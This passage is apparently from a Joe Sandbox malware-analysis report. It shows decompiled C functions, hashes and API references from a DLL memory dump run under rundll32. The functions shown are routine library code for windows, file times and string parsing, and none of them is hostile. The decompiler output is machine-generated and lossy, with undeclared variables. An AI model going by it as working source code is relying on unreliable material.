Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: ??3@Heap$FreeProcess
String ID:
API String ID: 834397476-0
Opcode ID: 990229f739eb513dc7e4ef781f2c3d093a00c9cdb197a8d076e5606c5d0ecfa1
Instruction ID: deec0ea64340ab630873bf9e0478ef3b8e810becbd0c1d56f6b6d8fa8369372d
Opcode Fuzzy Hash: 990229f739eb513dc7e4ef781f2c3d093a00c9cdb197a8d076e5606c5d0ecfa1
Instruction Fuzzy Hash: 8A61BF32605E0A8FCB54CF58C981A92B7A6FBEA304F06C92AD5058B7D5DB75F506CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6EB58527 Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E6EB58527(intOrPtr __ecx, signed int _a4) {
				intOrPtr _v8;
				struct HWND__* _v12;
				struct HWND__* _v16;
				struct HWND__* _v20;
				signed int _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t52;
				struct HWND__* _t55;
				intOrPtr _t56;
				struct HWND__* _t59;
				struct HWND__* _t60;
				int _t61;
				struct HWND__* _t67;
				struct HWND__* _t69;
				struct HWND__* _t70;
				struct HWND__* _t71;
				intOrPtr _t79;
				struct HWND__* _t81;
				signed int _t83;
				void* _t90;
				intOrPtr _t95;
				signed int _t96;
				signed int _t99;
				struct HWND__** _t101;

				_t96 = _a4;
				_t79 = __ecx;
				_v8 = __ecx;
				if(_t96 == 0) {
					return 0;
				}
				_t52 =  *(__ecx + 0x44);
				_a4 = 0;
				_v16 = _t52;
				_v20 = _t52;
				__eflags = _t52;
				if(_t52 != 0) {
					_a4 =  *(E6EB4ABF2( &_v16));
				}
				_t83 = 0;
				_v12 = 0;
				_v24 = 0;
				__eflags =  *(_t96 + 8);
				if( *(_t96 + 8) <= 0) {
					L32:
					__eflags = 1;
					return 1;
				} else {
					do {
						_t55 = _a4;
						__eflags = _t55;
						if(_t55 == 0) {
							L13:
							_t56 =  *((intOrPtr*)(_t96 + 0xc));
							_t99 = _t83 << 3;
							__eflags =  *(_t99 + _t56);
							if( *(_t99 + _t56) == 0) {
								goto L31;
							}
							__eflags = _v12;
							if(_v12 != 0) {
								_push(2);
								_push(_v12);
							} else {
								_t81 =  *(_t79 + 0x20);
								__eflags = _t81;
								if(_t81 != 0) {
									_t81 =  *(_t81 + 0x20);
								}
								_push(5);
								_push(_t81);
							}
							_t59 = E6EB57A58( *( *((intOrPtr*)(_t96 + 0xc)) + _t99), GetWindow());
							_t80 = _t59;
							__eflags = _t59;
							if(__eflags == 0) {
								_t67 =  *(_v8 + 0x20);
								__eflags = _t67;
								if(__eflags != 0) {
									_t67 =  *(_t67 + 0x20);
								}
								_t80 = GetDlgItem(_t67,  *( *((intOrPtr*)(_t96 + 0xc)) + _t99));
							}
							_t60 = E6EB47C96(__eflags, 0xc);
							__eflags = _t60;
							if(_t60 == 0) {
								_t101 = 0;
								__eflags = 0;
							} else {
								_t101 = E6EB5781B(_t60, _t80,  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0xc)) + _t99 + 4)));
							}
							_t61 = IsWindow( *_t101);
							__eflags = _t61;
							if(_t61 != 0) {
								_t90 = _v8 + 0x40;
								__eflags = _v20;
								_v12 =  *_t101;
								_push(_t101);
								if(__eflags == 0) {
									E6EB57BEF(_t80, _t90, _t96, _t101, __eflags);
								} else {
									_push(_v20);
									E6EB57C27(_t80, _t90, _t96, _t101, __eflags);
								}
							}
							_t79 = _v8;
							goto L31;
						}
						_t69 =  *(_t55 + 4);
						__eflags = _t69;
						if(_t69 == 0) {
							goto L13;
						}
						_t95 =  *((intOrPtr*)(_t96 + 0xc));
						__eflags =  *((intOrPtr*)(_t69 + 0x2c)) -  *((intOrPtr*)(_t95 + _t83 * 8));
						if( *((intOrPtr*)(_t69 + 0x2c)) !=  *((intOrPtr*)(_t95 + _t83 * 8))) {
							goto L13;
						}
						_t70 =  *(_t69 + 0x24);
						__eflags = _t70;
						if(_t70 != 0) {
							_v12 = _t70;
						}
						_t71 = _v16;
						_v20 = _t71;
						__eflags = _t71;
						if(_t71 == 0) {
							_a4 = _a4 & 0x00000000;
						} else {
							_a4 =  *(E6EB4ABF2( &_v16));
						}
						L31:
						_t83 = _v24 + 1;
						_v24 = _t83;
						__eflags = _t83 -  *(_t96 + 8);
					} while (_t83 <  *(_t96 + 8));
					goto L32;
				}
			}

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4306f3f60f427a3270d105f8fd5a326de74ec8cd4e0ea1f95a5976771a5a0b8a
Instruction ID: 53cc1396aee24281c986b061ec17aaf9424eaf96ea288d84c125089242c2e0b8
Opcode Fuzzy Hash: 4306f3f60f427a3270d105f8fd5a326de74ec8cd4e0ea1f95a5976771a5a0b8a
Instruction Fuzzy Hash: 67512871A20256EFDB50CFE8D890A9DBBB8FF08344B11856AE915EB351D770E960CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB60D9C Relevance: 6.1, APIs: 4, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E6EB60D9C(void* __ebx, void* __ecx, void* __eflags, signed int* _a4) {
				signed int _v8;
				signed int _v12;
				char _v20;
				struct _FILETIME _v28;
				struct _FILETIME _v36;
				char _v44;
				void* __edi;
				void* __esi;
				void* _t56;
				signed int* _t60;
				signed int* _t82;
				signed int* _t85;
				signed int* _t88;
				struct _FILETIME* _t94;
				void* _t106;
				CHAR* _t107;
				signed int* _t108;
				void* _t112;

				_t91 = __ecx;
				_t108 = _a4;
				_t106 = __ecx;
				E6EB65E80(__ecx, _t108, 0, 0x128);
				E6EB48C1B(__ebx, _t91, _t106, _t108,  &(_t108[8]), 0x104,  *(_t106 + 0xc), 0xffffffff);
				_t56 =  *(_t106 + 4);
				_t112 = _t56 -  *0x6eb7b3d0; // 0xffffffff
				if(_t112 == 0) {
					L20:
					return 1;
				}
				_t94 =  &_v20;
				if(GetFileTime(_t56, _t94,  &_v28,  &_v36) != 0) {
					_t60 =  &_v12;
					__imp__GetFileSizeEx( *(_t106 + 4), _t60);
					if(_t60 == 0) {
						goto L2;
					}
					_t108[6] = _v12;
					_t108[7] = _v8;
					_t107 =  *(_t106 + 0xc);
					if( *((intOrPtr*)(_t107 - 0xc)) != 0) {
						_t108[8] = (_t94 & 0xffffff00 | GetFileAttributesA(_t107) == 0xffffffff) - 0x00000001 & _t64;
					} else {
						_t108[8] = 0;
					}
					if(E6EB60C19( &_v20) == 0) {
						 *_t108 =  *_t108 & 0x00000000;
						_t108[1] = _t108[1] & 0x00000000;
					} else {
						_t88 = E6EB60D3C( &_v44,  &_v20, 0xffffffff);
						 *_t108 =  *_t88;
						_t108[1] = _t88[1];
					}
					if(E6EB60C19( &_v28) == 0) {
						_t108[4] = 0;
						_t108[5] = 0;
					} else {
						_t85 = E6EB60D3C( &_v44,  &_v28, 0xffffffff);
						_t108[4] =  *_t85;
						_t108[5] = _t85[1];
					}
					if(E6EB60C19( &_v36) == 0) {
						_t108[2] = 0;
						_t108[3] = 0;
					} else {
						_t82 = E6EB60D3C( &_v44,  &_v36, 0xffffffff);
						_t108[2] =  *_t82;
						_t108[3] = _t82[1];
					}
					if(( *_t108 | _t108[1]) == 0) {
						 *_t108 = _t108[2];
						_t108[1] = _t108[3];
					}
					if((_t108[4] | _t108[5]) == 0) {
						_t108[4] = _t108[2];
						_t108[5] = _t108[3];
					}
					goto L20;
				}
				L2:
				return 0;
			}

APIs

_memset.LIBCMT ref: 6EB60DB3

Part of subcall function 6EB48C1B: __cftof.LIBCMT ref: 6EB48C2C

GetFileTime.KERNEL32(?,?,?,?), ref: 6EB60DEA
GetFileSizeEx.KERNEL32(?,?), ref: 6EB60E02

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: File$SizeTime__cftof_memset
String ID:
API String ID: 2749391713-0
Opcode ID: c40b83ee1b7fa4f7d5157b040f29dd8ec98d687f673a6623ed5809d2a173c247
Instruction ID: 6040e0aecd72dcce737a4174c2c456d76beee7e1fffbdb1c4fde63bbed81d1ca
Opcode Fuzzy Hash: c40b83ee1b7fa4f7d5157b040f29dd8ec98d687f673a6623ed5809d2a173c247
Instruction Fuzzy Hash: BD510C719146569FCB24CFAAD840D9ABBF8FB09320F008A2DE5A6D3690E730F545CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4FB3E Relevance: 6.1, APIs: 4, Instructions: 104
windowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6EB4FB3E(void* __ecx, struct HWND__** _a4) {
				struct HWND__** _v8;
				struct HWND__** _v12;
				long _t31;
				struct HWND__** _t32;
				struct HWND__** _t44;
				struct HWND__** _t45;
				long _t47;
				void* _t49;
				struct HWND__** _t63;

				_push(__ecx);
				_push(__ecx);
				_t49 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x4c)) != 0) {
					_t31 = _a4;
					if(_t31 != 0) {
						if( *((intOrPtr*)(_t31 + 8)) == 0) {
							L4:
							_t32 = E6EB56750( *((intOrPtr*)(_t49 + 0x4c)) + 0x40, _t31, 0);
							_v12 = _t32;
							_a4 = _t32;
							E6EB4ABF2( &_a4);
							while(_a4 != 0) {
								_t37 =  *((intOrPtr*)(E6EB4ABF2( &_a4)));
								_v8 =  *((intOrPtr*)(E6EB4ABF2( &_a4)));
								if((E6EB4F7CC(_t37) & 0x00020000) != 0) {
									break;
								} else {
									_t45 = _v8;
									if(_t45[2] == 0 || SendMessageA( *_t45, 0xf0, 0, 0) != 1) {
										continue;
									} else {
										L16:
										_t44 = _v8;
										goto L17;
									}
								}
								goto L18;
							}
							_a4 = _v12;
							_t31 = E6EB4F8E8( &_a4);
							while(_a4 != 0) {
								_t63 =  *(E6EB4F8E8( &_a4));
								_v8 = _t63;
								if(_t63[2] == 0) {
									L13:
									_t31 = E6EB4F7CC(_t63);
									if((_t31 & 0x00020000) == 0) {
										continue;
									}
								} else {
									if(SendMessageA( *_t63, 0xf0, 0, 0) == 1) {
										goto L16;
									} else {
										_t63 = _v8;
										goto L13;
									}
								}
								goto L18;
							}
						} else {
							_t47 = SendMessageA( *_t31, 0xf0, 0, 0);
							_t44 = _a4;
							if(_t47 == 1) {
								L17:
								_t31 = SendMessageA( *_t44, 0xf1, 0, 0);
							} else {
								goto L4;
							}
						}
						L18:
					}
				}
				return _t31;
			}

APIs

SendMessageA.USER32 ref: 6EB4FB74
SendMessageA.USER32 ref: 6EB4FBD9
SendMessageA.USER32 ref: 6EB4FC1E
SendMessageA.USER32 ref: 6EB4FC47

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 6a049f3873367ed301024d363a03c62fdb1fe40739116c862de71420d1c427cc
Instruction ID: 1b65ee452e66fb4d88def6e6bf56e575620373f2e41b31a2b99afeade1f60408
Opcode Fuzzy Hash: 6a049f3873367ed301024d363a03c62fdb1fe40739116c862de71420d1c427cc
Instruction Fuzzy Hash: EC318170550259FFDB15CF95C8A0E9E3F6AEF42790F20906AF9059B219DB30ED81EB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB71F42 Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6EB71F42(void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				intOrPtr _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t73;

				_t73 = _a8;
				if(_t73 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t73 != 0) {
						E6EB66BE4( &_v20, __edi, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E6EB7166F( *_t73 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								_t40 = _v20 + 4; // 0x0
								__eflags = MultiByteToWideChar( *_t40, 9, _t73, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E6EB66B6E(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t15 = _t56 + 0xac; // 0x0
							_t65 =  *_t15;
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								_t24 = _t56 + 0xac; // 0x0
								__eflags = _a12 -  *_t24;
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t73[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t26 = _t56 + 0xac; // 0x0
								_t57 =  *_t26;
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t21 = _t56 + 4; // 0x0
							_t58 = MultiByteToWideChar( *_t21, 9, _t73, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t73 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 6EB71F76
__isleadbyte_l.LIBCMT ref: 6EB71FAA
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,?,?,6EB85358,00000000,00000000,00000020), ref: 6EB71FDB
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,?,?,6EB85358,00000000,00000000,00000020), ref: 6EB72049

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 10dbc57f6173d7b82f4c6931a0246ccd7f5f231f4919ae4d3515bb303fd18665
Instruction ID: b84034525f8a1fd598d65875fdbe0a3bab7b0894820309788df29fd0b2a1c25c
Opcode Fuzzy Hash: 10dbc57f6173d7b82f4c6931a0246ccd7f5f231f4919ae4d3515bb303fd18665
Instruction Fuzzy Hash: 52317A31A14296EFDF20DFA4C8A49AE3FA5EF01310F1985A9E4B19F491D331D944DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB56350 Relevance: 6.1, APIs: 4, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6EB56350(void* __ecx, void* __edx, void* __edi, void* __eflags, signed int _a4) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				signed int _t39;
				void* _t47;
				intOrPtr* _t48;
				void* _t50;
				void* _t51;
				void* _t64;
				void* _t65;
				intOrPtr _t66;
				void* _t68;
				void* _t70;

				_t65 = __edi;
				_t64 = __edx;
				_t51 = E6EB53D53(_t50, __ecx, __edi, _t68, __eflags);
				_t29 =  *((intOrPtr*)(_t51 + 0x10));
				if(_t29 == 0) {
					L19:
					return 0 |  *((intOrPtr*)(_t51 + 0x10)) != 0x00000000;
				}
				_t32 = _t29 - 1;
				 *((intOrPtr*)(_t51 + 0x10)) = _t32;
				if(_t32 != 0) {
					goto L19;
				}
				if(_a4 == 0) {
					L8:
					_push(_t65);
					_t66 =  *((intOrPtr*)(E6EB53D20(_t51, _t65, 0, _t77) + 4));
					_t70 = E6EB555E7(0x6eb8c6e8);
					if(_t70 == 0 || _t66 == 0) {
						L18:
						goto L19;
					} else {
						_t35 =  *((intOrPtr*)(_t70 + 0xc));
						_t80 = _t35;
						if(_t35 == 0) {
							L12:
							if( *((intOrPtr*)(_t66 + 0x98)) != 0) {
								_t36 =  *((intOrPtr*)(_t70 + 0xc));
								_a4 = _a4 & 0x00000000;
								_t83 = _t36;
								if(_t36 != 0) {
									_push(_t36);
									_t39 = E6EB675B3(_t51, _t64, _t66, _t70, _t83);
									_push( *((intOrPtr*)(_t70 + 0xc)));
									_a4 = _t39;
									E6EB642E6(_t51, _t66, _t70, _t83);
								}
								_t37 = E6EB643C3(_t51, _t64, _t66,  *((intOrPtr*)(_t66 + 0x98)));
								 *((intOrPtr*)(_t70 + 0xc)) = _t37;
								if(_t37 == 0 && _a4 != _t37) {
									 *((intOrPtr*)(_t70 + 0xc)) = E6EB643C3(_t51, _t64, _t66, _a4);
								}
							}
							goto L18;
						}
						_push(_t35);
						if(E6EB675B3(_t51, _t64, _t66, _t70, _t80) >=  *((intOrPtr*)(_t66 + 0x98))) {
							goto L18;
						}
						goto L12;
					}
				}
				if(_a4 != 0xffffffff) {
					_t47 = E6EB522D1();
					if(_t47 != 0) {
						_t48 =  *((intOrPtr*)(_t47 + 0x3c));
						_t77 = _t48;
						if(_t48 != 0) {
							 *_t48(0, 0);
						}
					}
				}
				E6EB5627D(_t51,  *((intOrPtr*)(_t51 + 0x20)), _t65);
				E6EB5627D(_t51,  *((intOrPtr*)(_t51 + 0x1c)), _t65);
				E6EB5627D(_t51,  *((intOrPtr*)(_t51 + 0x18)), _t65);
				E6EB5627D(_t51,  *((intOrPtr*)(_t51 + 0x14)), _t65);
				E6EB5627D(_t51,  *((intOrPtr*)(_t51 + 0x24)), _t65);
				goto L8;
			}

APIs

__msize.LIBCMT ref: 6EB563E3
__msize.LIBCMT ref: 6EB56406
_malloc.LIBCMT ref: 6EB5641E
_malloc.LIBCMT ref: 6EB56433

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: __msize_malloc
String ID:
API String ID: 1288803200-0
Opcode ID: bb4787abf3f7f5caef01686d7cb56519f003a9dd99f1b4c382247a3e6e2566db
Instruction ID: 911f5cb27f95d5b7462ddbb6a14a4dcbd62c3a1b515f0bbe97623af1df5f4c7d
Opcode Fuzzy Hash: bb4787abf3f7f5caef01686d7cb56519f003a9dd99f1b4c382247a3e6e2566db
Instruction Fuzzy Hash: 0921D7306306919FDB559FF4D890AAE7FA8EF00754B208D25D828CB369DB31D8A1CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5F06B Relevance: 6.1, APIs: 4, Instructions: 78
windowCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E6EB5F06B(void* __ebx, intOrPtr _a4, intOrPtr _a8, signed char _a12) {
				void* _t23;
				void* _t28;
				signed char _t29;
				intOrPtr _t34;
				intOrPtr _t35;
				void* _t36;

				_t28 = __ebx;
				_t35 = _a8;
				if(_t35 == 0) {
					_t34 = _a4;
					L14:
					_t36 = E6EB4C72D(_t28, _t31, GetTopWindow( *(_t34 + 0x20)));
					if(_t36 != 0) {
						L7:
						if((GetWindowLongA( *(_t36 + 0x20), 0xffffffec) & 0x00010000) == 0) {
							L18:
							return _t36;
						}
						_push(_t28);
						_t29 = _a12;
						if((_t29 & 0x00000001) == 0 || IsWindowVisible( *(_t36 + 0x20)) != 0) {
							if((_t29 & 0x00000002) == 0 || E6EB4F6F2(_t36) != 0) {
								_push(_t29);
								_push(0);
								_push(_t36);
								goto L17;
							} else {
								goto L12;
							}
						} else {
							L12:
							_push(_t29);
							_push(_t36);
							_push(_t34);
							L17:
							_t36 = E6EB5F06B(_t29);
							goto L18;
						}
					}
					return _t34;
				}
				_t31 = _t35;
				_t23 = E6EB4F93E(_t35, 2);
				_t34 = _a4;
				while(_t23 == 0) {
					_t35 = E6EB5F012(_t34, E6EB4C72D(_t28, _t31, GetParent( *(_t35 + 0x20))));
					if(_t35 == 0 || _t35 == _t34) {
						goto L14;
					} else {
						_t31 = _t35;
						_t23 = E6EB4F93E(_t35, 2);
						continue;
					}
				}
				_t36 = E6EB4F93E(_t35, 2);
				goto L7;
			}

0x6eb5f06b
0x6eb5f071
0x6eb5f077
0x6eb5f100
0x6eb5f103
0x6eb5f112
0x6eb5f116
0x6eb5f0c3
0x6eb5f0d3
0x6eb5f128
0x00000000
0x6eb5f128
0x6eb5f0d5
0x6eb5f0d6
0x6eb5f0dc
0x6eb5f0ee
0x6eb5f11c
0x6eb5f11d
0x6eb5f11f
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb5f0fb
0x6eb5f0fb
0x6eb5f0fb
0x6eb5f0fc
0x6eb5f0fd
0x6eb5f120
0x6eb5f125
0x00000000
0x6eb5f127
0x6eb5f0dc
0x00000000
0x6eb5f118
0x6eb5f07f
0x6eb5f081
0x6eb5f086
0x6eb5f0b4
0x6eb5f0a1
0x6eb5f0a5
0x00000000
0x6eb5f0ab
0x6eb5f0ad
0x6eb5f0af
0x00000000
0x6eb5f0af
0x6eb5f0a5
0x6eb5f0c1
0x00000000

APIs

GetTopWindow.USER32(?), ref: 6EB5F106

Part of subcall function 6EB4F93E: GetWindow.USER32(?,?), ref: 6EB4F94A

GetParent.USER32(?), ref: 6EB5F08E
GetWindowLongA.USER32 ref: 6EB5F0C8
IsWindowVisible.USER32 ref: 6EB5F0E1

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Window$LongParentVisible
String ID:
API String ID: 506644340-0
Opcode ID: 82e4940b84384573ad5b42466c96783e0d85ae6e82a2cb6e0a5a68c38257b315
Instruction ID: 35a801ba238ff416693f8163d70a6b956963645febde025cdc3e55cd52e7192a
Opcode Fuzzy Hash: 82e4940b84384573ad5b42466c96783e0d85ae6e82a2cb6e0a5a68c38257b315
Instruction Fuzzy Hash: E6113A72250AA267DB222EE5CC15F9FBE6DFF85B90F290524F951AB394D720CC118790

Uniqueness

Uniqueness Score: -1.00%

Function 6EB578F4 Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E6EB578F4(intOrPtr __ebx, intOrPtr* __ecx, intOrPtr __esi, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				signed int _v8;
				signed char _v264;
				void* __edi;
				signed int _t11;
				signed int _t14;
				void* _t16;
				char _t19;
				signed int _t22;
				intOrPtr _t23;
				signed int* _t35;
				intOrPtr _t36;
				CHAR* _t38;
				signed int _t42;

				_t37 = __esi;
				_t26 = __ebx;
				_t40 = _t42;
				_t11 =  *0x6eb89470; // 0xc96cff66
				_v8 = _t11 ^ _t42;
				_t35 = _a8;
				_push(0x100);
				_t33 =  &_v264;
				_push( &_v264);
				_push(_a4);
				_t14 =  *((intOrPtr*)( *__ecx + 0x7c))();
				if(_t14 != 0) {
					_push(__ebx);
					_push(__esi);
					_t38 =  &_v264;
					_t16 = E6EB67E83(_v264 & 0x000000ff);
					while(_t16 != 0) {
						_t38 = CharNextA(_t38);
						_t16 = E6EB67E83( *_t38 & 0x000000ff);
					}
					_t19 =  *_t38;
					if(_t19 == 0x2b || _t19 == 0x2d) {
						_t38 = CharNextA(_t38);
					}
					_t22 = E6EB67DAC( *_t38 & 0x000000ff);
					_pop(_t37);
					_pop(_t26);
					if(_t35 != 0) {
						 *_t35 = _t22;
					}
					if(_t22 == 0) {
						goto L4;
					} else {
						_push(0xa);
						_push(0);
						_push( &_v264);
						if(_a12 == 0) {
							_t23 = E6EB67CB9();
						} else {
							_t23 = E6EB67C8E();
						}
					}
				} else {
					if(_t35 != 0) {
						 *_t35 =  *_t35 & _t14;
					}
					L4:
					_t23 = 0;
				}
				_pop(_t36);
				return E6EB63DE0(_t23, _t26, _v8 ^ _t40, _t33, _t36, _t37);
			}

APIs

CharNextA.USER32(?), ref: 6EB5794D

Part of subcall function 6EB67E83: __ismbcspace_l.LIBCMT ref: 6EB67E8D

CharNextA.USER32(00000000), ref: 6EB5796A
__wcstoi64.LIBCMT ref: 6EB57995
__wcstoui64.LIBCMT ref: 6EB5799C

Part of subcall function 6EB67CB9: strtoxl.LIBCMT ref: 6EB67CDB

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: CharNext$__ismbcspace_l__wcstoi64__wcstoui64strtoxl
String ID:
